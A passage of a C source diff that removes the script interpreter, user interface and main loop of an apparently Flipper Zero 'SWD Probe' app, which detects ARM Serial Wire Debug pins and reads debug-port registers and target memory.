"swd_write_memory failed"); - } - } - } - furi_mutex_release(ctx->app->swd_mutex); - - swd_script_seek_newline(ctx); - - return succ; -} - -static bool swd_scriptfunc_core_cpuid(ScriptContext* ctx) { - bool succ = false; - uint32_t reg_cpuid = 0; - - furi_mutex_acquire(ctx->app->swd_mutex, FuriWaitForever); - succ = swd_read_memory(ctx->app, ctx->selected_ap, SCS_CPUID, ®_cpuid) == 1; - furi_mutex_release(ctx->app->swd_mutex); - - if(!succ) { - swd_script_log(ctx, FuriLogLevelError, "swd_read_memory failed"); - } else { - swd_script_log(ctx, FuriLogLevelDefault, "0x%08X", reg_cpuid); - } - - swd_script_seek_newline(ctx); - - return succ; -} - -static const ScriptFunctionInfo script_funcs[] = { - {"#", &swd_scriptfunc_comment}, - {".label", &swd_scriptfunc_label}, - {"goto", &swd_scriptfunc_goto}, - {"call", &swd_scriptfunc_call}, - {"status", &swd_scriptfunc_status}, - {"errors", &swd_scriptfunc_errors}, - {"message", &swd_scriptfunc_message}, - {"beep", &swd_scriptfunc_beep}, - {"max_tries", &swd_scriptfunc_maxtries}, - {"swd_clock_delay", &swd_scriptfunc_swd_clock_delay}, - {"swd_idle_bits", &swd_scriptfunc_swd_idle_bits}, - {"block_size", &swd_scriptfunc_blocksize}, - {"abort", &swd_scriptfunc_abort}, - {"mem_dump", &swd_scriptfunc_mem_dump}, - {"mem_ldmst", &swd_scriptfunc_mem_ldmst}, - {"mem_write", &swd_scriptfunc_mem_write}, - {"mem_read", &swd_scriptfunc_mem_read}, - {"dp_write", &swd_scriptfunc_dp_write}, - {"dp_read", &swd_scriptfunc_dp_read}, - {"ap_scan", &swd_scriptfunc_apscan}, - {"ap_select", &swd_scriptfunc_apselect}, - {"ap_read", &swd_scriptfunc_ap_read}, - {"ap_write", &swd_scriptfunc_ap_write}, - {"core_halt", &swd_scriptfunc_core_halt}, - {"core_step", &swd_scriptfunc_core_step}, - {"core_continue", &swd_scriptfunc_core_continue}, - {"core_regs", &swd_scriptfunc_core_regs}, - {"core_reg_get", &swd_scriptfunc_core_reg_get}, - {"core_reg_set", &swd_scriptfunc_core_reg_set}, - {"core_cpuid", &swd_scriptfunc_core_cpuid}}; - -/************************** script main code **************************/ - -static bool swd_execute_script_line(ScriptContext* const ctx) { - char buffer[64]; - uint64_t start_pos = 0; - - if(ctx->script_file) { - start_pos = storage_file_tell(ctx->script_file); - uint16_t ret = storage_file_read(ctx->script_file, buffer, 2); - storage_file_seek(ctx->script_file, start_pos, true); - - if(ret < 2) { - return true; - } - } else { - start_pos = ctx->line_pos; - strncpy(buffer, ctx->line_data, 2); - - if(buffer[0] == 0 || buffer[1] == 0) { - return true; - } - } - - if(buffer[0] == '\n' || (buffer[0] == '\r' && buffer[1] == '\n')) { - swd_script_seek_newline(ctx); - return true; - } - - for(size_t entry = 0; entry < COUNT(script_funcs); entry++) { - if(ctx->abort) { - DBGS("aborting"); - break; - } - size_t expected = strlen(script_funcs[entry].prefix); - - if(ctx->script_file) { - storage_file_seek(ctx->script_file, start_pos, true); - - if(storage_file_read(ctx->script_file, buffer, expected) != expected) { - continue; - } - } else { - ctx->line_pos = start_pos; - - if(strlen(ctx->line_data) < expected) { - continue; - } - strncpy(buffer, ctx->line_data, expected); - ctx->line_pos += expected; - } - - buffer[expected] = '\000'; - if(strncmp(buffer, script_funcs[entry].prefix, expected)) { - continue; - } - bool success = true; - - if(ctx->goto_active) { - DBG("ignore: '%s'", script_funcs[entry].prefix); - - /* only execute label handlers */ - if(buffer[0] == '.') { - success = script_funcs[entry].func(ctx); - } else { - swd_script_seek_newline(ctx); - } - } else { - DBG("command: '%s'", script_funcs[entry].prefix); - - if(!ctx->status_ignore) { - snprintf( - ctx->app->state_string, - sizeof(ctx->app->state_string), - "CMD: %s", - script_funcs[entry].prefix); - } - swd_script_gui_refresh(ctx); - - /* function, execute */ - success = script_funcs[entry].func(ctx); - - if(!success && !ctx->errors_ignore) { - swd_script_log( - ctx, FuriLogLevelError, "Command failed: %s", script_funcs[entry].prefix); - snprintf( - ctx->app->state_string, - sizeof(ctx->app->state_string), - "Command failed: %s", - script_funcs[entry].prefix); - return false; - } - } - - return true; - } - swd_script_log(ctx, FuriLogLevelError, "unknown command '%s'", buffer); - - return false; -} - -static bool swd_execute_script(AppFSM* const ctx, const char* filename) { - bool success = true; - - /* fetch current script and set as parent */ - ScriptContext* parent = ctx->script; - - ctx->script = malloc(sizeof(ScriptContext)); - ctx->script->app = ctx; - ctx->script->max_tries = 1; - ctx->script->parent = parent; - strcpy(ctx->script->filename, filename); - - if(!storage_file_exists(ctx->storage, filename)) { - DBG("Does not exist '%s'", filename); - parent = ctx->script->parent; - free(ctx->script); - ctx->script = parent; - return false; - } - - /* first allocate a file object */ - ctx->script->script_file = storage_file_alloc(ctx->storage); - - /* then get our script opened */ - if(!storage_file_open(ctx->script->script_file, filename, FSAM_READ, FSOM_OPEN_EXISTING)) { - FURI_LOG_E(TAG, "open, %s", storage_file_get_error_desc(ctx->script->script_file)); - DBG("Failed to open '%s'", filename); - storage_file_free(ctx->script->script_file); - parent = ctx->script->parent; - free(ctx->script); - ctx->script = parent; - return false; - } - - do { - success = true; - ctx->script->restart = false; - - storage_file_seek(ctx->script->script_file, 0, true); - - uint32_t line = 1; - while(line < SCRIPT_MAX_LINES) { - if(ctx->script->abort) { - DBGS("Abort requested"); - break; - } - if(storage_file_eof(ctx->script->script_file)) { - break; - } - DBG("line %lu", line); - if(!swd_execute_script_line(ctx->script)) { - success = false; - break; - } - if(ctx->script->restart) { - break; - } - line++; - } - - if(ctx->script->restart) { - DBGS("Restarting"); - } else { - DBGS("Finished"); - } - - if(line >= SCRIPT_MAX_LINES) { - success = true; - char text_buf[128]; - - snprintf(text_buf, sizeof(text_buf), "aborting after %d lines", SCRIPT_MAX_LINES); - DialogMessage* message = dialog_message_alloc(); - dialog_message_set_header(message, "SWD Probe", 16, 2, AlignLeft, AlignTop); - dialog_message_set_icon(message, &I_app, 3, 2); - dialog_message_set_text(message, text_buf, 3, 16, AlignLeft, AlignTop); - dialog_message_set_buttons(message, "Back", NULL, NULL); - dialog_message_free(message); - - ctx->script->restart = false; - } - - if(!success) { - char text_buf[128]; - - snprintf(text_buf, sizeof(text_buf), "Line %lu failed:\n%s", line, ctx->state_string); - DialogMessage* message = dialog_message_alloc(); - dialog_message_set_header(message, "SWD Probe", 16, 2, AlignLeft, AlignTop); - dialog_message_set_icon(message, &I_app, 3, 2); - dialog_message_set_text(message, text_buf, 3, 16, AlignLeft, AlignTop); - dialog_message_set_buttons(message, "Back", "Retry", NULL); - if(dialog_message_show(ctx->dialogs, message) == DialogMessageButtonCenter) { - ctx->script->restart = true; - } - dialog_message_free(message); - } - } while(ctx->script->restart); - - storage_file_close(ctx->script->script_file); - storage_file_free(ctx->script->script_file); - - parent = ctx->script->parent; - free(ctx->script); - ctx->script = parent; - - return success; -} - -/************************** UI functions **************************/ - -#define CANVAS_WIDTH 128 -#define CANVAS_HEIGHT 64 - -#define COERCE(d, min, max) \ - do { \ - if(d < (min)) { \ - d = (min); \ - } \ - if(d > (max)) { \ - d = (max); \ - } \ - } while(0) - -#define COERCE_COORDS(x1, y1, x2, y2) \ - do { \ - COERCE(x1, 0, CANVAS_WIDTH); \ - COERCE(x2, 0, CANVAS_WIDTH); \ - COERCE(y1, 0, CANVAS_HEIGHT); \ - COERCE(y1, 0, CANVAS_HEIGHT); \ - } while(0) - -#include "model/model_chip.h" - -static int rotatedVertexCoords[NUM_VERTICES][3]; - -static void draw_model(Canvas* const canvas) { - static float xAngle = 0; - static float yAngle = 0; - static float zAngle = 0; - static float zoom = 0; - static float speed = 0.6f; - - float cosXAngle = cosf(xAngle); - float sinXAngle = sinf(xAngle); - float cosYAngle = cosf(yAngle); - float sinYAngle = sinf(yAngle); - float cosZAngle = cosf(zAngle); - float sinZAngle = sinf(zAngle); - float sinZoom = 1.2f + sinf(zoom) * 0.25f; - - int centerX = CANVAS_WIDTH / 2; - int centerY = CANVAS_HEIGHT / 2 + 5; - - for(int i = 0; i < NUM_VERTICES; i++) { - int x = vertexCoords[i][0] * sinZoom * 16; - int y = vertexCoords[i][1] * sinZoom * 16; - int z = vertexCoords[i][2] * sinZoom * 16; - - int y1 = y * cosXAngle - z * sinXAngle; - int z1 = y * sinXAngle + z * cosXAngle; - - int x2 = x * cosYAngle + z1 * sinYAngle; - int z2 = -x * sinYAngle + z1 * cosYAngle; - - int x3 = x2 * cosZAngle - y1 * sinZAngle; - int y3 = x2 * sinZAngle + y1 * cosZAngle; - - rotatedVertexCoords[i][0] = x3 + centerX; - rotatedVertexCoords[i][1] = y3 + centerY; - rotatedVertexCoords[i][2] = z2; - } - - for(size_t i = 0; i < COUNT(edgeIndices); i++) { - int v1Index = edgeIndices[i][0]; - int v2Index = edgeIndices[i][1]; - int x1 = rotatedVertexCoords[v1Index][0]; - int y1 = rotatedVertexCoords[v1Index][1]; - int x2 = rotatedVertexCoords[v2Index][0]; - int y2 = rotatedVertexCoords[v2Index][1]; - - COERCE_COORDS(x1, y1, x2, y2); - canvas_draw_line(canvas, x1, y1, x2, y2); - } - - xAngle += speed * 0.02 / sinZoom; - yAngle += speed * 0.023 / sinZoom; - zAngle += speed * 0.029 * sinZoom; - zoom += speed * 0.005; -} - -static void render_callback(Canvas* const canvas, void* ctx_in) { - furi_assert(canvas); - furi_assert(ctx_in); - - AppFSM* ctx = ctx_in; - furi_mutex_acquire(ctx->gui_mutex, FuriWaitForever); - - char buffer[64]; - int y = 10; - - canvas_draw_frame(canvas, 0, 0, 128, 64); - canvas_set_font(canvas, FontPrimary); - - if(!ctx->detected_device) { - ctx->mode_page = ModePageScan; - } else if(ctx->mode_page == ModePageScan) { - ctx->mode_page = ModePageFound; - } - - /* if seen less than a quarter second ago */ - switch(ctx->mode_page) { - case ModePageScan: { - draw_model(canvas); - - canvas_draw_str_aligned(canvas, 64, y, AlignCenter, AlignBottom, "Searching"); - y += 14; - - canvas_set_font(canvas, FontSecondary); - - bool info_page = (ctx->loop_count % 500) >= 250; - if(info_page) { - canvas_draw_str(canvas, 2, y, "Connect GND with target GND"); - y += 10; - canvas_draw_str(canvas, 2, y, "and any two GPIOs with pads"); - y += 10; - canvas_draw_str(canvas, 2, y, "you want to check for SWD"); - - canvas_set_font(canvas, FontPrimary); - canvas_draw_str(canvas, 111, 62, "2/2"); - } else { - const char* filename = ""; - if(strlen(ctx->script_detected) > 0) { - const char* slash = strrchr(ctx->script_detected, '/'); - if(slash) { - filename = &slash[1]; - } else { - filename = ctx->script_detected; - } - } - - canvas_set_font(canvas, FontSecondary); - canvas_draw_str_aligned(canvas, 64, y, AlignCenter, AlignBottom, "Autoexec Script"); - y += 10; - canvas_set_font(canvas, FontKeyboard); - canvas_draw_str_aligned(canvas, 64, y, AlignCenter, AlignBottom, filename); - y += 16; - - canvas_set_font(canvas, FontSecondary); - canvas_draw_icon(canvas, 14, y - 5, &I_ButtonUp_7x4); - canvas_draw_icon(canvas, 78, y - 5, &I_ButtonDown_7x4); - canvas_draw_str(canvas, 23, y, "Clear"); - canvas_draw_str(canvas, 87, y, "Choose"); - - canvas_set_font(canvas, FontPrimary); - canvas_draw_str(canvas, 111, 62, "1/2"); - } - canvas_set_font(canvas, FontSecondary); - elements_button_left(canvas, "Script"); - break; - } - case ModePageFound: { - if((ctx->detected_timeout + TIMER_HZ / 4) >= TIMER_HZ * TIMEOUT) { - snprintf(buffer, sizeof(buffer), "FOUND!"); - } else { - /* if it was seen more than a quarter second ago, show countdown */ - snprintf( - buffer, sizeof(buffer), "FOUND! (%lus)", (ctx->detected_timeout / TIMER_HZ) + 1); - } - canvas_draw_str_aligned(canvas, 64, y, AlignCenter, AlignBottom, buffer); - y += 10; - canvas_set_font(canvas, FontKeyboard); - - snprintf( - buffer, - sizeof(buffer), - "SWC/SWD: %s/%s", - gpio_name(ctx->io_swc), - gpio_name(ctx->io_swd)); - canvas_draw_str_aligned(canvas, 5, y, AlignLeft, AlignBottom, buffer); - y += 10; - snprintf(buffer, sizeof(buffer), "DPIDR 0x%08lX", ctx->dp_regs.dpidr); - canvas_draw_str_aligned(canvas, 5, y, AlignLeft, AlignBottom, buffer); - y += 10; - - snprintf( - buffer, - sizeof(buffer), - "Part %02X Rev %X DAPv%d", - ctx->dpidr_info.partno, - ctx->dpidr_info.revision, - ctx->dpidr_info.version); - canvas_draw_str_aligned(canvas, 5, y, AlignLeft, AlignBottom, buffer); - y += 10; - - canvas_set_font(canvas, FontSecondary); - snprintf(buffer, sizeof(buffer), "%s", jep106_manufacturer(ctx->dpidr_info.designer)); - canvas_draw_str_aligned(canvas, 5, y, AlignLeft, AlignBottom, buffer); - y += 10; - - canvas_set_font(canvas, FontSecondary); - elements_button_left(canvas, "Script"); - elements_button_right(canvas, "DP Regs"); - - break; - } - case ModePageDPRegs: { - canvas_draw_str_aligned(canvas, 64, y, AlignCenter, AlignBottom, "DP Registers"); - y += 10; - canvas_set_font(canvas, FontKeyboard); - if(ctx->dp_regs.dpidr_ok) { - snprintf(buffer, sizeof(buffer), "DPIDR %08lX", ctx->dp_regs.dpidr); - canvas_draw_str_aligned(canvas, 5, y, AlignLeft, AlignBottom, buffer); - } - y += 10; - - if(ctx->dp_regs.ctrlstat_ok) { - snprintf(buffer, sizeof(buffer), "CTRL %08lX", ctx->dp_regs.ctrlstat); - canvas_draw_str_aligned(canvas, 5, y, AlignLeft, AlignBottom, buffer); - } - y += 10; - - if(ctx->dp_regs.targetid_ok) { - snprintf(buffer, sizeof(buffer), "TGTID %08lX", ctx->dp_regs.targetid); - canvas_draw_str_aligned(canvas, 5, y, AlignLeft, AlignBottom, buffer); - } - y += 10; - - if(ctx->dp_regs.eventstat_ok) { - snprintf(buffer, sizeof(buffer), "EVTST %08lX", ctx->dp_regs.eventstat); - canvas_draw_str_aligned(canvas, 5, y, AlignLeft, AlignBottom, buffer); - } - y += 10; - canvas_set_font(canvas, FontSecondary); - elements_button_left(canvas, "Scan"); - elements_button_right(canvas, "DPID"); - - break; - } - - case ModePageDPID: { - canvas_draw_str_aligned(canvas, 64, y, AlignCenter, AlignBottom, "DP ID Register"); - y += 10; - canvas_set_font(canvas, FontKeyboard); - if(ctx->dpidr_info.version != 2) { - snprintf(buffer, sizeof(buffer), "TARGETID not supported"); - canvas_draw_str_aligned(canvas, 5, y, AlignLeft, AlignBottom, buffer); - y += 10; - } else { - if(ctx->dp_regs.targetid_ok) { - snprintf(buffer, sizeof(buffer), "TGTID %08lX", ctx->dp_regs.targetid); - canvas_draw_str_aligned(canvas, 5, y, AlignLeft, AlignBottom, buffer); - y += 10; - - snprintf(buffer, sizeof(buffer), "Part No. %04X", ctx->targetid_info.partno); - canvas_draw_str_aligned(canvas, 5, y, AlignLeft, AlignBottom, buffer); - y += 10; - snprintf( - buffer, sizeof(buffer), "%s", jep106_manufacturer(ctx->targetid_info.designer)); - canvas_draw_str_aligned(canvas, 5, y, AlignLeft, AlignBottom, buffer); - y += 10; - } - } - canvas_set_font(canvas, FontSecondary); - elements_button_left(canvas, "DP Regs"); - elements_button_right(canvas, "APs"); - break; - } - - case ModePageAPID: { - canvas_draw_str_aligned(canvas, 64, y, AlignCenter, AlignBottom, "AP Menu"); - y += 10; - canvas_set_font(canvas, FontKeyboard); - - char state = ' '; - if(ctx->ap_pos >= ctx->ap_scanned && ctx->ap_pos <= ctx->ap_scanned + 10) { - state = '*'; - } - - if(!ctx->apidr_info[ctx->ap_pos].ok) { - snprintf(buffer, sizeof(buffer), "[%d]%c", ctx->ap_pos, state); - canvas_draw_str_aligned(canvas, 5, y, AlignLeft, AlignBottom, buffer); - y += 10; - - if(ctx->ap_pos == 0) { - for(size_t pos = 0; pos < COUNT(ctx->apidr_info); pos++) { - if(ctx->apidr_info[pos].ok) { - ctx->ap_pos = pos; - } - } - } - } else { - const char* class = ""; - - switch(ctx->apidr_info[ctx->ap_pos].class) { - case 0: - class = "und"; - break; - case 1: - class = "COM"; - break; - case 8: - class = "MEM"; - break; - default: - class = "unk"; - break; - } - - const char* types[] = { - "COM-AP", - "AHB3", - "APB2 or APB3", - "Type unknown", - "AXI3 or AXI4", - "AHB5", - "APB4 and APB5", - "AXI5", - "AHB5 enh.", - }; - const char* type = "Type unk"; - - if(ctx->apidr_info[ctx->ap_pos].type < COUNT(types)) { - type = types[ctx->apidr_info[ctx->ap_pos].type]; - } - - snprintf(buffer, sizeof(buffer), "[%d]%c%s, %s", ctx->ap_pos, state, class, type); - canvas_draw_str_aligned(canvas, 5, y, AlignLeft, AlignBottom, buffer); - y += 10; - - snprintf(buffer, sizeof(buffer), "Base 0x%08lX", ctx->apidr_info[ctx->ap_pos].base); - canvas_draw_str_aligned(canvas, 5, y, AlignLeft, AlignBottom, buffer); - y += 10; - - snprintf( - buffer, - sizeof(buffer), - "Rev %d Var %d", - ctx->apidr_info[ctx->ap_pos].revision, - ctx->apidr_info[ctx->ap_pos].variant); - canvas_draw_str_aligned(canvas, 5, y, AlignLeft, AlignBottom, buffer); - y += 10; - - snprintf( - buffer, - sizeof(buffer), - "%s", - jep106_manufacturer(ctx->apidr_info[ctx->ap_pos].designer)); - canvas_draw_str_aligned(canvas, 5, y, AlignLeft, AlignBottom, buffer); - y += 10; - - elements_button_center(canvas, "Show"); - } - canvas_set_font(canvas, FontSecondary); - elements_button_left(canvas, "DPID"); - elements_button_right(canvas, "CoreS."); - elements_scrollbar_pos(canvas, 4, 10, 40, ctx->ap_pos / 32, COUNT(ctx->apidr_info) / 32); - break; - } - - /* hex dump view */ - case ModePageHexDump: { - canvas_draw_str_aligned(canvas, 64, y, AlignCenter, AlignBottom, "Hex dump"); - y += 10; - canvas_set_font(canvas, FontKeyboard); - - canvas_draw_str_aligned(canvas, 5, y, AlignLeft, AlignBottom, "Addr:"); - - snprintf(buffer, sizeof(buffer), "%08lX", ctx->hex_addr); - canvas_draw_str_aligned(canvas, 38, y, AlignLeft, AlignBottom, buffer); - uint32_t font_width = canvas_glyph_width(canvas, '0'); - uint32_t x = 37 + (7 - ctx->hex_select) * font_width; - - /* draw selection */ - canvas_draw_line(canvas, x, y + 1, x + font_width, y + 1); - y += 10; - - uint32_t byte_num = 0; - for(int line = 0; line < 4; line++) { - uint32_t x_pos = 5; - - for(int byte_pos = 0; byte_pos < 8; byte_pos++) { - if(ctx->hex_buffer_valid[byte_num / 4]) { - snprintf(buffer, sizeof(buffer), "%02X", ctx->hex_buffer[byte_num]); - } else { - snprintf(buffer, sizeof(buffer), "--"); - } - byte_num++; - canvas_draw_str_aligned(canvas, x_pos, y, AlignLeft, AlignBottom, buffer); - x_pos += font_width * 2 + font_width / 2; - } - y += 10; - } - break; - } - - case ModePageCoresight: { - canvas_draw_str_aligned(canvas, 64, y, AlignCenter, AlignBottom, "Coresight"); - y += 10; - canvas_set_font(canvas, FontSecondary); - - uint32_t base = ctx->coresight_bases[ctx->coresight_level]; - uint32_t base_next = adi_romtable_get(ctx, base, ctx->coresight_pos[ctx->coresight_level]); - - snprintf(buffer, sizeof(buffer), "Base: %08lX", base); - canvas_draw_str_aligned(canvas, 5, y, AlignLeft, AlignBottom, buffer); - y += 10; - snprintf(buffer, sizeof(buffer), "Type: %s", adi_romtable_type(ctx, base)); - canvas_draw_str_aligned(canvas, 5, y, AlignLeft, AlignBottom, buffer); - y += 10; - snprintf(buffer, sizeof(buffer), "Full: %s", adi_romtable_full(ctx, base)); - canvas_draw_str_aligned(canvas, 5, y, AlignLeft, AlignBottom, buffer); - y += 10; - - if(adi_is_romtable(ctx, base)) { - snprintf( - buffer, - sizeof(buffer), - "[%lu/%lu] -> %08lX", - ctx->coresight_pos[ctx->coresight_level] + 1, - ctx->coresight_count[ctx->coresight_level], - base_next); - canvas_draw_str_aligned(canvas, 5, y, AlignLeft, AlignBottom, buffer); - canvas_set_font(canvas, FontSecondary); - elements_button_center(canvas, "Enter"); - } - y += 10; - - canvas_set_font(canvas, FontSecondary); - - if(ctx->coresight_level) { - elements_button_left(canvas, "Prev"); - } else { - elements_button_left(canvas, "APs"); - } - elements_scrollbar_pos( - canvas, - 4, - 10, - 40, - ctx->coresight_pos[ctx->coresight_level], - ctx->coresight_count[ctx->coresight_level]); - - break; - } - - /* hex dump view */ - case ModePageScript: { - canvas_draw_str_aligned(canvas, 64, y, AlignCenter, AlignBottom, "Script"); - y += 10; - y += 10; - canvas_draw_str_aligned(canvas, 10, y, AlignLeft, AlignBottom, "Status:"); - y += 10; - canvas_set_font(canvas, FontKeyboard); - canvas_draw_str_aligned(canvas, 64, y, AlignCenter, AlignBottom, ctx->state_string); - y += 10; - break; - } - } - - furi_mutex_release(ctx->gui_mutex); -} - -static void input_callback(InputEvent* input_event, void* ctx_in) { - furi_assert(input_event); - furi_assert(ctx_in); - AppFSM* ctx = ctx_in; - - int entries = furi_message_queue_get_count(ctx->event_queue); - - /* better skip than sorry */ - if(entries < QUEUE_SIZE) { - AppEvent event = {.type = EventKeyPress, .input = *input_event}; - furi_message_queue_put(ctx->event_queue, &event, 0); - } -} - -static void app_init(AppFSM* const app) { - furi_assert(app); - - app->loop_count = 0; - app->current_mask_id = 0; - app->current_mask = gpio_direction_mask[app->current_mask_id]; - app->io_swd = 0xFF; - app->io_swc = 0xFF; - app->hex_addr = 0x40002800; - app->hex_addr = 0xE000EDF0; - app->swd_clock_delay = CLOCK_DELAY; - app->swd_idle_bits = IDLE_BITS; - - strcpy(app->state_string, "none"); - strcpy(app->script_detected, ""); -} - -static void app_deinit(AppFSM* const app) { - furi_assert(app); - - strcpy(app->state_string, "exiting"); -} - -static void swd_main_loop(AppFSM* ctx) { - furi_assert(ctx); - - ctx->loop_count++; - - switch(ctx->mode_page) { - case ModePageScan: - case ModePageFound: { - /* reset after timeout */ - if(ctx->detected_timeout > 0) { - ctx->detected_timeout--; - } else { - DBGS("Reset detected flag"); - ctx->detected_device = false; - ctx->io_swd = 0xFF; - ctx->io_swc = 0xFF; - ctx->io_num_swd = 0xFF; - ctx->io_num_swc = 0xFF; - ctx->ap_scanned = 0; - memset(&ctx->dp_regs, 0x00, sizeof(ctx->dp_regs)); - memset(&ctx->targetid_info, 0x00, sizeof(ctx->targetid_info)); - memset(&ctx->apidr_info, 0x00, sizeof(ctx->apidr_info)); - ctx->script_detected_executed = false; - } - - ctx->detected = false; - ctx->current_mask = gpio_direction_mask[ctx->current_mask_id]; - - /* when SWD was already detected, set it to data pin regardless of the mask */ - if(ctx->detected_device) { - ctx->current_mask &= ~ctx->io_swd; - } - - /* do the scan */ - furi_mutex_acquire(ctx->swd_mutex, FuriWaitForever); - swd_scan(ctx); - furi_mutex_release(ctx->swd_mutex); - - /* now when detected a device, set the timeout */ - if(ctx->detected) { - DBGS("Set detected flag"); - ctx->detected_device = true; - ctx->detected_timeout = TIMER_HZ * TIMEOUT; - - /* update DPIDR fields */ - ctx->dpidr_info.revision = (ctx->dp_regs.dpidr >> 28) & 0x0F; - ctx->dpidr_info.partno = (ctx->dp_regs.dpidr >> 20) & 0xFF; - ctx->dpidr_info.version = (ctx->dp_regs.dpidr >> 12) & 0x0F; - ctx->dpidr_info.designer = (ctx->dp_regs.dpidr >> 1) & 0x3FF; - - if(!has_multiple_bits(ctx->io_swc)) { - DBGS(" - Detected pins"); - DBGS(" - Resetting error"); - - furi_mutex_acquire(ctx->swd_mutex, FuriWaitForever); - /* reset error */ - /* first make sure we have the correct bank by invalidating the current select cache */ - ctx->dp_regs.select_ok = false; - uint8_t ack = - swd_read_dpbank(ctx, REG_CTRLSTAT, REG_CTRLSTAT_BANK, &ctx->dp_regs.ctrlstat); - - if(ack != 1 || (ctx->dp_regs.ctrlstat & STAT_ERROR_FLAGS)) { - DBGS(" - send ABORT"); - swd_abort(ctx); - } - DBGS(" - Fetch CTRL/STAT"); - ctx->dp_regs.ctrlstat_ok = - swd_read_dpbank( - ctx, REG_CTRLSTAT, REG_CTRLSTAT_BANK, &ctx->dp_regs.ctrlstat) == 1; - DBG(" %08lX %s", - ctx->dp_regs.ctrlstat, - ctx->dp_regs.ctrlstat_ok ? "OK" : "FAIL"); - - if(ctx->dpidr_info.version >= 1) { - DBGS(" - DAPv1, read DLCR"); - ctx->dp_regs.dlcr_ok = - swd_read_dpbank(ctx, REG_DLCR, REG_DLCR_BANK, &ctx->dp_regs.dlcr) == 1; - DBG(" %08lX %s", ctx->dp_regs.dlcr, ctx->dp_regs.dlcr_ok ? "OK" : "FAIL"); - } - - if(ctx->dpidr_info.version >= 2) { - DBGS(" - DAPv2, read TARGETID"); - ctx->dp_regs.targetid_ok = - swd_read_dpbank( - ctx, REG_TARGETID, REG_TARGETID_BANK, &ctx->dp_regs.targetid) == 1; - DBG(" %08lX %s", - ctx->dp_regs.targetid, - ctx->dp_regs.targetid_ok ? "OK" : "FAIL"); - DBGS(" - DAPv2, read EVENTSTAT"); - ctx->dp_regs.eventstat_ok = - swd_read_dpbank( - ctx, REG_EVENTSTAT, REG_EVENTSTAT_BANK, &ctx->dp_regs.eventstat) == 1; - DBG(" %08lX %s", - ctx->dp_regs.eventstat, - ctx->dp_regs.eventstat_ok ? "OK" : "FAIL"); - DBGS(" - DAPv2, read DLPIDR"); - ctx->dp_regs.dlpidr_ok = - swd_read_dpbank(ctx, REG_DLPIDR, REG_DLPIDR_BANK, &ctx->dp_regs.dlpidr) == - 1; - DBG(" %08lX %s", - ctx->dp_regs.dlpidr, - ctx->dp_regs.dlpidr_ok ? "OK" : "FAIL"); - } - - if(ctx->dp_regs.targetid_ok) { - ctx->targetid_info.revision = (ctx->dp_regs.targetid >> 28) & 0x0F; - ctx->targetid_info.partno = (ctx->dp_regs.targetid >> 12) & 0xFFFF; - ctx->targetid_info.designer = (ctx->dp_regs.targetid >> 1) & 0x3FF; - } - - if(!ctx->script_detected_executed && strlen(ctx->script_detected) > 0) { - DBG(" - Run script '%s'", ctx->script_detected); - - ctx->script_detected_executed = true; - - ctx->mode_page = ModePageScript; - swd_execute_script(ctx, ctx->script_detected); - ctx->mode_page = ModePageFound; - } - furi_mutex_release(ctx->swd_mutex); - } - } else { - if(!has_multiple_bits(ctx->io_swc)) { - DBGS(" - Lost device"); - } - } - - ctx->current_mask_id = (ctx->current_mask_id + 1) % COUNT(gpio_direction_mask); - break; - } - - case ModePageDPRegs: - case ModePageAPID: { - furi_mutex_acquire(ctx->swd_mutex, FuriWaitForever); - /* set debug enable request */ - if(!swd_ensure_powerup(ctx)) { - furi_mutex_release(ctx->swd_mutex); - break; - } - - /* only scan a few APs at once to stay responsive */ - for(int pos = 0; pos < 8; pos++) { - if(ctx->ap_scanned == 0) { - swd_apscan_reset(ctx); - } - - uint8_t ap = ctx->ap_scanned++; - - if(ctx->apidr_info[ap].tested) { - continue; - } - if(swd_apscan_test(ctx, ap)) { - break; - } - } - furi_mutex_release(ctx->swd_mutex); - break; - } - - case ModePageHexDump: { - furi_mutex_acquire(ctx->swd_mutex, FuriWaitForever); - - for(size_t byte_pos = 0; byte_pos < sizeof(ctx->hex_buffer); byte_pos += 4) { - uint32_t* data = (uint32_t*)&ctx->hex_buffer[byte_pos]; - bool ret = swd_read_memory(ctx, ctx->ap_pos, ctx->hex_addr + byte_pos, data) == 1; - - ctx->hex_buffer_valid[byte_pos / 4] = ret; - - if(!ret) { - swd_abort_simple(ctx); - } - } - furi_mutex_release(ctx->swd_mutex); - break; - } - - case ModePageDPID: - case ModePageCoresight: - furi_delay_ms(50); - break; - } -} - -static bool swd_message_process(AppFSM* ctx) { - bool processing = true; - AppEvent event; - - /* wait to make sure the OS can do its stuff */ - FuriStatus event_status = furi_message_queue_get(ctx->event_queue, &event, 1000 / TIMER_HZ); - - if(event_status != FuriStatusOk) { - return processing; - } - - if(event.type == EventKeyPress) { - if(event.input.type == InputTypePress) { - switch(event.input.key) { - case InputKeyUp: - switch(ctx->mode_page) { - default: - break; - - case ModePageScan: - case ModePageFound: { - strcpy(ctx->script_detected, ""); - break; - } - - case ModePageAPID: - if(ctx->ap_pos > 0) { - ctx->ap_pos--; - } - break; - - case ModePageHexDump: { - ctx->hex_addr += ((ctx->hex_select) ? 1 : 8) * (1 << (4 * ctx->hex_select)); - break; - } - - case ModePageCoresight: { - if(ctx->coresight_pos[ctx->coresight_level] > 0) { - ctx->coresight_pos[ctx->coresight_level]--; - } - break; - } - } - break; - - case InputKeyDown: { - switch(ctx->mode_page) { - default: - break; - - case ModePageScan: { - FuriString* result_path = furi_string_alloc_printf(ANY_PATH("swd_scripts")); - FuriString* preselected = furi_string_alloc_printf( - (strlen(ctx->script_detected) > 0) ? ctx->script_detected : - ANY_PATH("swd_scripts")); - DialogsFileBrowserOptions options; - - dialog_file_browser_set_basic_options(&options, "swd", &I_swd); - - if(dialog_file_browser_show(ctx->dialogs, result_path, preselected, &options)) { - const char* path = furi_string_get_cstr(result_path); - strcpy(ctx->script_detected, path); - } - - furi_string_free(result_path); - furi_string_free(preselected); - break; - } - - case ModePageAPID: - if(ctx->ap_pos + 1U < COUNT(ctx->apidr_info)) { - ctx->ap_pos++; - } - break; - - case ModePageHexDump: { - ctx->hex_addr -= ((ctx->hex_select) ? 1 : 8) * (1 << (4 * ctx->hex_select)); - break; - } - - case ModePageCoresight: { - if(ctx->coresight_pos[ctx->coresight_level] + 1 < - ctx->coresight_count[ctx->coresight_level]) { - ctx->coresight_pos[ctx->coresight_level]++; - } - break; - } - } - break; - } - - case InputKeyRight: - if(ctx->mode_page == ModePageHexDump) { - if(ctx->hex_select > 0) { - ctx->hex_select--; - } - } else if(ctx->mode_page == ModePageAPID && ctx->apidr_info[ctx->ap_pos].ok) { - ctx->mode_page = ModePageCoresight; - uint32_t base = ctx->apidr_info[ctx->ap_pos].base & 